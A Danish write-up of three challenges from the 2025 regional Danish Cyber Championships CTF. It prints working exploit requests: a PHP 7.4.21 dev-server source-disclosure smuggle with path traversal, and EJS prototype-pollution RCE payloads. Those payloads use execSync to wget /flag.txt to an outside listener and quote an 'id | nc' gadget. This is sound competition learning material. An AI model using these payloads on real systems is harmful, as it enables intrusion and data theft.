DDC Regionale 2025 - Writeup

Året er slået 2025, og en ny omgang DDC er godt undervejs. April melder ind med de regionale mesterskaber for De danske cybermesterskaber.
For 5. år i træk har jeg deltaget i konkurrencen, som i denne omgang er nået til det regionale niveau.
Ved de regionale mesterskaber som kørte d. 5 april 2025, kom jeg på en 37. plads ud af 203 seniorer (20-25 år) på nationalt niveau og en 6. plads i Region Syddanmark, ud af 33.
Jeg har derfor for 4. gang kvalificeret mig til at deltage ved den nationale konkurrence. Udover i år, har jeg deltager i 2021, 2022 og 2024.
Til nationalt niveau i De Danske Cybermesterskaber, er der kun 100 pladser, og derfor de ~100 bedste på landsplan som kommer videre.
Ved de regionale mesterskaber, løste jeg 3 challenges. 2 web og 1 forensics.
Derudover kiggede jeg på en del andre opgaver, men nåede ikke frem til flaget for dem.
Opgaver
Web
Forensics
Under Construction
Kategori: Web exploitation
Beskrivelse
Vores website under-construction.hkn er stadig under udvikling så vi har ikke så meget indhold endnu, men der er et flag et sted. Du er velkommen til at kigge vores kildekode og vores webserver setup igennem, men vi har erstattet de hemmelige værdier.
Medlagt var source koden for opgaven.
Løsning
I opgaven bliver vi præsenteret for hjemmesiden under-construction.hkn
, som indeholder en simpel besked "Under construction" og "This site is currently under development. Please check back soon for updates".
Ikke noget som er synderligt spændende.
Derfor skiftes der gear, og det er tid til at kigge på source koden.
I source koden er der fire filer: compose.yml
, Dockerfile
, flag.txt
og index.php
.
Så vi har en PHP-applikation, og vi ved hvad den køre på, ud fra Dockerfile
.
PHP er altid interessant. Især fordi det er et af de sprog jeg har kært, fordi det var det første rigtige programmeringssprog jeg begyndte at bruge, der kørte på en server.
Men PHP er også spændende, fordi det er meget let at lave usikker.
index.php
er ingen undtagelse.
I toppen af filen er der inkluderet tre PHP kode sektioner, som henholdsvis; skriver en log fil med tiden og ens ip, læser en vilkårlig fil baseret på en get parameter, og finder ud af om der skal sige "good morning", "good afternoon" eller "good evening" baseret på tiden.
De to første sektioner er interessant. Snippet af dem, kan ses nedenfor:
<?php
$time = time();
$ip = $_SERVER["REMOTE_ADDR"] . PHP_EOL;
file_put_contents("logs/log.txt", "$time $ip", FILE_APPEND);
?>
<?php
$key = "fake-value-replacing-a-uuid";
if (isset($_GET[$key])) {
$file = $_GET[$key];
$file_path = "logs/" . $file;
if (file_exists($file_path)) {
echo nl2br(file_get_contents($file_path));
} else {
echo "File not found";
}
}
?>
Fra det her, kan vi se, at vi kan læse en hvilken som helst vilkårlig fil fra serveren via en get parameter. file_get_contents
modtager en path og læser en fil. Metoden kan håndtere relative paths, således at man kan skrive ../
for at gå en mappe op på serveren. Derved forbigå logs/
prefix.
Baseret på beskrivelsen med "vi har erstattet de hemmelige værdier", så er fake-value-replacing-a-uuid
nok ikke den korrekte værdi.
Et godt gæt, ville nok være at det i den rigtige applikation, er en UUID. Det er umuligt at gætte sig til den rigtige værdi.
Så vi ved, at vi kan inkludere en hvilken som helst fil, igennem en ukendt UUID som get parameter i URL-adressen.
Vi skal derfor på en eller anden måde finde den UUID.
Det er på tide at tage hul på Dockerfile
.
Dockerfile
er en opskrift på, hvordan Docker skal bygge en container.
Følgende er Dockerfile
fra opgaven:
FROM php:7.4.21-cli
COPY index.php /var/www/site/index.php
COPY flag.txt /flag.txt
RUN mkdir /var/www/site/logs/
RUN chown -R www-data:www-data /var/www/site /flag.txt
USER www-data
EXPOSE 80
ENTRYPOINT ["php", "-d", "display_errors=off", "-S", "0.0.0.0:80", "-t", "/var/www/site/"]
Vi ser brugen af PHP, med den specifikke version værende 7.4.21-cli
. Derudover ses at flaget er placeret i roden af containeren, og at vi godt kan tilgå den.
PHP er dernæst sat til ikke at vise fejl.
En nem måde at starte, er at kigge på PHP dockerimage på Docker Hub. Her kan den specifikke Dockerimage findes: php:7.4.21-cli.
Docker Hub indeholder deres "Docker scout", hvor man kan se kendte vulnerabilities i den specifikke pakke. Desværre er der kun nogle low-severity CVE'er. Ikke noget spændende.
Men en google sægning på "php 7.4 21 vulnerabilities" giver et interessant resultat:
"PHP Development Server <= 7.4.21 - Remote Source Disclosure".
Baseret på denne artikel, så er der en Remote Source Disclosure vulnerability i den version af PHP som bruges. Denne vulnerability ville give adgang til at læse source koden på siden, og derved give den UUID vi ikke kender!
Vigtig detaljer er, at der siges "PHP Development Server". Normalt bruges PHP sammen med Apache, NGINX eller andre web servers. Men ved brugen af PHP CLI kan man køre en development server, som ikke er tiltænkt produktion. Det passer godt ind med navnet på challengen.
Artiklen indeholder en PoC på exploit af denne vulnerability, som er så simpelt, som:
GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
\r\n
GET / HTTP/1.1
\r\n
\r\n
Artiklen indeholder et fuldt writeup på hvorfor dette kan lade sig gøre. Vi er ikke intresseret i hvorfor, kun at vi kan få source koden.
En vigtig detalje, som skrives i bunden af artiklen, er at hvis siden man gerne vil have ud, er index.php
, så skal nr. 2 GET være til andet end /
. Dette tog lidt tid at komme frem til, under konkurrencen.
Den endelige exploit request så derfor således ud:
GET /index.php HTTP/1.1
Host: under-construction.hkn
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n
Denne request blev sendt igennem Burp repeater. Ved dette, blev source koden udleveret, og UUID keyen er e89c2f42-a3ff-403c-8369-0ad18b1d8543
.
Vi kan dernæst indsætte den i vores url, og lave en request til http://under-construction.hkn/?e89c2f42-a3ff-403c-8369-0ad18b1d8543=../../../../../flag.txt
Og på siden blev flaget pænt printet.
Secure Notes
Kategori: Web exploitation
Beskrivelse
Skriv alle dine noter her.
http://secure-notes.hkn
Medlagt var source koden for opgaven.
Løsning
I opgaven bliver vi præsenteret for hjemmesiden secure-notes.hkn
, som er en simpel note hjemmeside, hvor noter kan oprettes og vises.
Hver note har et id, beskrivelse og en række "properties", som indeholder en liste af key-value par. Alle disse værdier kan styres af brugeren.
Når vi kigger i source koden, bliver vi introduceret til en simpel EJS NodeJS applikation. En enkelt backend service er tilgængelig via app.js
, som tillader /
, /submit
, /list
og /view
. Dernæst er der nogle ejs
template filer, public filer med vanilla javascript og css, package.json
, package-lock.json
og Dockerfile
.
Fra Dockerfile
kan vi se, at der bruges den nyeste node js (v23, i Alpine Linux), samt at flaget er gemt i /flag.txt
. Derudover en meget standard NodeJS Docker opsætning.
Som en simpel sanity check brugte jeg GitHub Copilot til at kort liste mulige problemer med app.js
. Her lister den blandt andet prototype pollution og en række andre sårbarheder som ikke er interessante, eller ikke virker til at hænge ind i konteksten.
Det giver en ide om, at der kunne være noget prototype pollution.
Fordi vi har package.json, så har vi også versionerne på de biblioteker som bruges i applikationen. Til dette bruges npm. npm CLI har en audit
funktion.
Ved at køre denne får vi at vide at ejs < 3.1.10
"lacks certain pollution protection" samt et link til en CVE for denne version af ejs
CVE-2024-33883.
Så prototype pollution er en ret sandsynlig indgangs vinkel.
Når nu vi har en CVE, så er det en oplagt mulighed at se, om der findes en PoC på det. En google søgning "CVE-2024-33883 poc" giver et GitHub repo med en hel PoC på denne CVE.
Den beskriver, at der kan gives RCE, via pollution af escapeFunction
i EJS renderen. Det er lige præcis det som er brug for!
Men, det kræver at vi kan lave prototype pollution i koden, og køre EJS renderen.
Prototype pollution, sker, når man kan overskrive vilkårligt i en Javascript object. Hvilket sker i app.js
i /submit
, via: notes[id][property[i]] = value[i];
hvor notes = {}
. Her kan vi styre id
, property[i]
og value[i]
igennem en POST request til serveren.
Så hvordan udnytter vi den PoC vi har fundet?
Hvis vi blot indsætter __proto__
i id og property key til escapeFunction
og value til process.mainModule.require('child_process').execSync('wget http://10.0.240.247:8084/7eacd367-96fd-4ab6-99d6-6962fb9295aa?flag=$(cat /flag.txt)').toString();
(har opsat webhook.site lokalt til at tage imod requests), så kan vi prøve den her exploit af.
Når det køres, så kommer der en ret træls fejl frem: TypeError: esc is not a function
. Ved at vi overskriver escapeFunction
på den måde, så smadres rendering. Den PoC som jeg fandt, nævner ikke noget om dette.
Efter lidt mere jagt på nettet, fandt jeg yderligere to beskrivelser af denne exploit:
- EJS - Server Side Prototype Pollution gadgets to RCE af mizu.re
- EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) #735 GitHub issue
mizu.re går slavisk igennem, og kommer med følgende objekt opsætning for exploit:
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}
For at kunne korrekt exploite escapeFunction
skal der også sættes en client
til 1
. Dernæst så er escapeFunction
bygget op af to dele. Først en JSON.stringify
, dernæst af en revshell. Denne opdeling gør, at escapeFunction
stadig køre normalt.
Med denne, så indsætter jeg følgende på notes siden:
noteid = "__proto__";
description = "random";
properties = [
'client': 1,
'escapeFunction': JSON.stringify; return global.process.mainModule.constructor._load('child_process').execSync('wget http://10.0.240.247:8084/7eacd367-96fd-4ab6-99d6-6962fb9295aa?flag=$(cat /flag.txt)');
]
Ved dette får jeg serveren til at eksekvere en bash command, som her er wget
med flaget som parameter.
Ved at oprette denne note, bliver vi sendt over på visnings siden af noten, som derved får serveren til at sende os flaget.
The right light
Kategori: Forensics
Beskrivelse
Vi har lige fanget den berømte Dott, også kendt som Dennis overloadning the internet . Vi mangler bare det sidste bevis for at kunne anholde ham. Vi har fundet et screenshot fra hans bank, men vi kan ikke rigtigt finde noget som vi kan bruge. Nogle siger at man bare skal se det i det rette lys. Kan du hjælpe os med at finde det sidste bevis?
Medlagt er følgende billede:

Løsning
Ud fra min erfaringer fra forrige år, så ved jeg, at de er glad for at have en opgave med, hvor tekst er gemt i billedet. Og dette år er ingen undtagelse.
Men i år var nok den nemmeste.
For at løse opgaven, åbnede jeg billedet, og zoomet ind på øverste del af billedet, omkring "Welcome, Dott.", for at se om jeg kan se noget usædvanligt ved billedet. Forberedt på, at jeg skal køre lidt rundt på billedet.
I et episk tilfælde, står flaget i forlængelse af "Welcome, Dott.", med en tekstfarve, som er meget lig baggrunden.
Det er tiltænkt, at man skal ændre farverne i billedet, eller køre den igennem nogle filtre, for at få teksten til at stå ud til en. Men på min skærm kan man lige ane teksten: DDC{how_did_you_find_this}
Måske kan du ane det?
